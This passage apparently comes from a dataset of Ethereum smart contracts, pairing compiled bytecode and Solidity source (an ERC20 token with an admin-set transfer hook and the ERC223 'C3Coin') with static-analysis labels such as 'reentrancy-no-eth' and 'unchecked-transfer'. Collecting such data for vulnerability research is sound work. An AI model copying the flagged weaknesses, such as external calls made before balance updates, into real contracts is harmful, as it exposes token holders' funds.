009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e8433886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561151357600080fd5b5af1151561152057600080fd5b50505060036000868152602001908152602001600020600001549050600360008681526020019081526020016000206000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905550503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16867fedcc7e1c269bc295dc24e74dc46b129c8449e6b0544af73b57c4201b78d119db84886040518083600019166000191681526020018281526020019250505060405180910390a45050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116a557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117be57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60008082840190508381101515156117eb57fe5b8091505092915050565b600080600084141561180a5760009150611829565b828402905082848281151561181b57fe5b0414151561182557fe5b8091505b5092915050565b600080828481151561183e57fe5b0490508091505092915050565b600082821115151561185957fe5b8183039050929150505600a165627a7a72305820261551449c1e13c0e71ed6bbb14535e3478f6fab9947994bbf938fc1c871d0dc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
9,553
0x9b83f827928abdf18cf1f7e67053572b9bceff3a
// SPDX-License-Identifier: MIT pragma solidity =0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IStatsTracker { function updateTransferStats(address asset, address from, address to, uint256 amount) external; } /** * @dev Implementation of the {IERC20} interface. */ contract Erc20Token is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _admin; address public _adminCandidate; address public _statsTracker; string private constant ERROR_AUTH_FAILED = "auth failed"; event AdminChangeRequested(address indexed oldAdmin, address indexed newAdmin); event AdminChangeConfirmed(address indexed oldAdmin, address indexed newAdmin); constructor( address admin_, string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_, address recipient_, address statsTracker_) { _ensureNotZeroAddress(admin_); _ensureNotZeroAddress(recipient_); require(totalSupply_ != 0, "zero total supply"); _admin = admin_; _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(recipient_, totalSupply_); if (statsTracker_ != address(0)) { _statsTracker = statsTracker_; } } modifier onlyAdmin() { require(_admin == _msgSender(), ERROR_AUTH_FAILED); _; } modifier onlyAdminCandidate { require(_adminCandidate == _msgSender(), ERROR_AUTH_FAILED); _; } function changeAdmin(address adminCandidate) onlyAdmin external { _adminCandidate = adminCandidate; emit AdminChangeRequested(_admin, adminCandidate); } function confirmNewAdmin() onlyAdminCandidate external { emit AdminChangeConfirmed(_admin, _adminCandidate); _admin = _adminCandidate; _adminCandidate = address(0); } function setStatsTracker(address statsTracker) onlyAdmin external { _statsTracker = statsTracker; } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_statsTracker != address(0)) { IStatsTracker(_statsTracker).updateTransferStats(address(this), sender, recipient, amount); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) private { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _ensureNotZeroAddress(address _addr) private pure { require(_addr != address(0), "zero address"); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80633dfc918a116100a2578063a457c2d711610071578063a457c2d714610236578063a9059cbb14610249578063bbaa0bd21461025c578063dd62ed3e1461026f578063ef20accb146102a857600080fd5b80633dfc918a146101dd57806370a08231146101f05780638f2839701461021957806395d89b411461022e57600080fd5b806318160ddd116100de57806318160ddd1461019057806323b872dd146101a2578063313ce567146101b557806339509351146101ca57600080fd5b806301bc45c91461011057806306fdde0314610145578063095ea7b31461015a5780631800aadb1461017d575b600080fd5b6005546101289061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61014d6102b0565b60405161013c9190610b2c565b61016d610168366004610b03565b610342565b604051901515815260200161013c565b600654610128906001600160a01b031681565b6002545b60405190815260200161013c565b61016d6101b0366004610ac8565b610358565b60055460405160ff909116815260200161013c565b61016d6101d8366004610b03565b610407565b600754610128906001600160a01b031681565b6101946101fe366004610a75565b6001600160a01b031660009081526020819052604090205490565b61022c610227366004610a75565b610443565b005b61014d6104ef565b61016d610244366004610b03565b6104fe565b61016d610257366004610b03565b610597565b61022c61026a366004610a75565b6105a4565b61019461027d366004610a96565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61022c61061a565b6060600380546102bf90610ba3565b80601f01602080910402602001604051908101604052809291908181526020018280546102eb90610ba3565b80156103385780601f1061030d57610100808354040283529160200191610338565b820191906000526020600020905b81548152906001019060200180831161031b57829003601f168201915b5050505050905090565b600061034f3384846106e0565b50600192915050565b6000610365848484610804565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103fc85338584036106e0565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161034f91859061043e908690610b7f565b6106e0565b60055460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b60208201529061010090046001600160a01b031633146104965760405162461bcd60e51b81526004016103e69190610b2c565b50600680546001600160a01b0319166001600160a01b03838116918217909255600554604051919261010090910416907fabadef65e57dcbc94a1edc7f70476a3abca7121015c7358dd71b9ad8e434895f90600090a350565b6060600480546102bf90610ba3565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156105805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e6565b61058d33858584036106e0565b5060019392505050565b600061034f338484610804565b60055460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b60208201529061010090046001600160a01b031633146105f75760405162461bcd60e51b81526004016103e69190610b2c565b50600780546001600160a01b0319166001600160a01b0392909216919091179055565b60065460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b6020820152906001600160a01b031633146106685760405162461bcd60e51b81526004016103e69190610b2c565b506006546005546040516001600160a01b0392831692610100909204909116907f7cb6040a31264d0f3fa4024e96aa137a3c4afbd8bb1162e1046ee09c5d7e162a90600090a36006805460058054610100600160a81b0319166101006001600160a01b038416021790556001600160a01b0319169055565b6001600160a01b0383166107425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e6565b6001600160a01b0382166107a35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108685760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e6565b6001600160a01b0382166108ca5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e6565b6007546001600160a01b031615610950576007546040516319b89ec360e21b81523060048201526001600160a01b038581166024830152848116604483015260648201849052909116906366e27b0c90608401600060405180830381600087803b15801561093757600080fd5b505af115801561094b573d6000803e3d6000fd5b505050505b6001600160a01b038316600090815260208190526040902054818110156109c85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e6565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906109ff908490610b7f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a4b91815260200190565b60405180910390a350505050565b80356001600160a01b0381168114610a7057600080fd5b919050565b600060208284031215610a86578081fd5b610a8f82610a59565b9392505050565b60008060408385031215610aa8578081fd5b610ab183610a59565b9150610abf60208401610a59565b90509250929050565b600080600060608486031215610adc578081fd5b610ae584610a59565b9250610af360208501610a59565b9150604084013590509250925092565b60008060408385031215610b15578182fd5b610b1e83610a59565b946020939093013593505050565b6000602080835283518082850152825b81811015610b5857858101830151858201604001528201610b3c565b81811115610b695783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b9e57634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680610bb757607f821691505b60208210811415610bd857634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212206d0701888990a82330d7c83c9aef19f270b121a4b1207a2727a7abfd94bca4ed64736f6c63430008040033
{"success": true, "error": null, "results": {}}
9,554
0xb65e3a1f38ef4cf0ae42222ce09204eb31021b5a
pragma solidity ^0.4.24; /** * @title ERC223 * @dev Interface for ERC223 */ interface ERC223 { // functions function balanceOf(address _owner) external constant returns (uint256); function transfer(address _to, uint256 _value) external returns (bool success); function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); // Getters function name() external constant returns (string _name); function symbol() external constant returns (string _symbol); function decimals() external constant returns (uint8 _decimals); function totalSupply() external constant returns (uint256 _totalSupply); // Events event Transfer(address indexed _from, address indexed _to, uint256 _value); event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed burner, uint256 value); } /** * @notice A contract will throw tokens if it does not inherit this * @title ERC223ReceivingContract * @dev Contract for ERC223 token fallback */ contract ERC223ReceivingContract { TKN internal fallback; struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) external pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title C3Coin * @dev C3Coin is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract C3Coin is ERC223, Ownable { using SafeMath for uint; string public name = "C3coin"; string public symbol = "CCC"; uint8 public decimals = 18; uint256 public totalSupply = 10e11 * 1e18; constructor() public { balances[msg.sender] = totalSupply; } mapping (address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowance; /** * @dev Getters */ // Function to access name of token . function name() external constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() external constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() external constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() external constant returns (uint256 _totalSupply) { return totalSupply; } /** * @dev Get balance of a token owner * @param _owner The address which one owns tokens */ function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } /** * @notice This function is modified for erc223 standard * @dev ERC20 transfer function added for backward compatibility. * @param _to Address of token receiver * @param _value Number of tokens to send */ function transfer(address _to, uint _value) public returns (bool success) { bytes memory empty = hex"00000000"; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * @dev ERC223 transfer function * @param _to Address of token receiver * @param _value Number of tokens to send * @param _data Data equivalent to tx.data from ethereum transaction */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function which is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function which is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit ERC223Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) { balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) external returns (bool success) { allowance[msg.sender][_spender] = 0; // mitigate the race condition allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner Address The address which owns the funds. * @param _spender Address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) external constant returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Function to distribute tokens to the list of addresses by the provided uniform amount * @param _addresses List of addresses * @param _amount Uniform amount of tokens */ function multiTransfer(address[] _addresses, uint256 _amount) public returns (bool) { uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); emit Transfer(msg.sender, _addresses[j], _amount); } return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided various amount * @param _addresses List of addresses * @param _amounts List of token amounts */ function multiTransfer(address[] _addresses, uint256[] _amounts) public returns (bool) { uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[msg.sender] = balances[msg.sender].sub(_amounts[j]); balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); emit Transfer(msg.sender, _addresses[j], _amounts[j]); } return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { _burn(msg.sender, _value); } function _burn(address _owner, uint256 _value) internal { require(_value <= balances[_owner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_owner] = balances[_owner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_owner, _value); emit Transfer(_owner, address(0), _value); } /** * @dev Default payable function executed after receiving ether */ function () public payable { // does not accept ether } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e7578063095ea7b31461017157806318160ddd146101a95780631e89d545146101d057806323b872dd1461025e57806327e235e314610288578063313ce567146102a957806342966c68146102d457806370a08231146102ec5780638da5cb5b1461030d57806395d89b411461033e578063a16a317914610353578063a9059cbb146103aa578063be45fd62146103ce578063dd62ed3e14610437578063f2fde38b1461045e575b005b3480156100f357600080fd5b506100fc61047f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013657818101518382015260200161011e565b50505050905090810190601f1680156101635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017d57600080fd5b50610195600160a060020a0360043516602435610514565b604080519115158252519081900360200190f35b3480156101b557600080fd5b506101be61057b565b60408051918252519081900360200190f35b3480156101dc57600080fd5b506040805160206004803580820135838102808601850190965280855261019595369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105819650505050505050565b34801561026a57600080fd5b50610195600160a060020a036004358116906024351660443561073f565b34801561029457600080fd5b506101be600160a060020a036004351661083b565b3480156102b557600080fd5b506102be61084d565b6040805160ff9092168252519081900360200190f35b3480156102e057600080fd5b506100e5600435610856565b3480156102f857600080fd5b506101be600160a060020a036004351661087a565b34801561031957600080fd5b50610322610895565b60408051600160a060020a039092168252519081900360200190f35b34801561034a57600080fd5b506100fc6108a4565b34801561035f57600080fd5b50604080516020600480358082013583810280860185019096528085526101959536959394602494938501929182918501908490808284375094975050933594506109029350505050565b3480156103b657600080fd5b50610195600160a060020a0360043516602435610a1f565b3480156103da57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610195948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a699650505050505050565b34801561044357600080fd5b506101be600160a060020a0360043581169060243516610a96565b34801561046a57600080fd5b506100e5600160a060020a0360043516610ac1565b60018054604080516020601f6002600019610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561050a5780601f106104df5761010080835404028352916020019161050a565b820191906000526020600020905b8154815290600101906020018083116104ed57829003601f168201915b5050505050905090565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60045490565b600080805b84518110156105c1576105b784828151811015156105a057fe5b60209081029091010151839063ffffffff610ae116565b9150600101610586565b336000908152600560205260409020548211156105dd57600080fd5b5060005b84518110156107345761062384828151811015156105fb57fe5b602090810290910181015133600090815260059092526040909120549063ffffffff610aee16565b3360009081526005602052604090205583516106909085908390811061064557fe5b9060200190602002015160056000888581518110151561066157fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610ae116565b6005600087848151811015156106a257fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106106d357fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611084833981519152868481518110151561070d57fe5b906020019060200201516040518082815260200191505060405180910390a36001016105e1565b506001949350505050565b600160a060020a038316600090815260056020526040812054610768908363ffffffff610aee16565b600160a060020a03808616600090815260056020526040808220939093559085168152205461079d908363ffffffff610ae116565b600160a060020a0380851660009081526005602090815260408083209490945591871681526006825282812033825290915220546107e1908363ffffffff610aee16565b600160a060020a0380861660008181526006602090815260408083203384528252918290209490945580518681529051928716939192600080516020611084833981519152929181900390910190a35060015b9392505050565b60056020526000908152604090205481565b60035460ff1690565b600054600160a060020a0316331461086d57600080fd5b6108773382610b00565b50565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a031681565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561050a5780601f106104df5761010080835404028352916020019161050a565b600080600061091b855185610bef90919063ffffffff16565b3360009081526005602052604090205490925082111561093a57600080fd5b5060005b84518110156107345733600090815260056020526040902054610967908563ffffffff610aee16565b3360009081526005602081905260408220929092558651610992928792909189908690811061066157fe5b6005600087848151811015156109a457fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106109d557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611084833981519152866040518082815260200191505060405180910390a360010161093e565b604080518082019091526004815260006020820181905290610a4084610c18565b15610a5757610a50848483610c20565b9150610a62565b610a50848483610e82565b5092915050565b6000610a7484610c18565b15610a8b57610a84848484610c20565b9050610834565b610a84848484610e82565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a03163314610ad857600080fd5b61087781611006565b8181018281101561057557fe5b600082821115610afa57fe5b50900390565b600160a060020a038216600090815260056020526040902054811115610b2557600080fd5b600160a060020a038216600090815260056020526040902054610b4e908263ffffffff610aee16565b600160a060020a038316600090815260056020526040902055600454610b7a908263ffffffff610aee16565b600455604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206110848339815191529181900360200190a35050565b6000821515610c0057506000610575565b50818102818382811515610c1057fe5b041461057557fe5b6000903b1190565b336000908152600560205260408120548190841115610c3e57600080fd5b33600090815260056020526040902054610c5e908563ffffffff610aee16565b3360009081526005602052604080822092909255600160a060020a03871681522054610c9090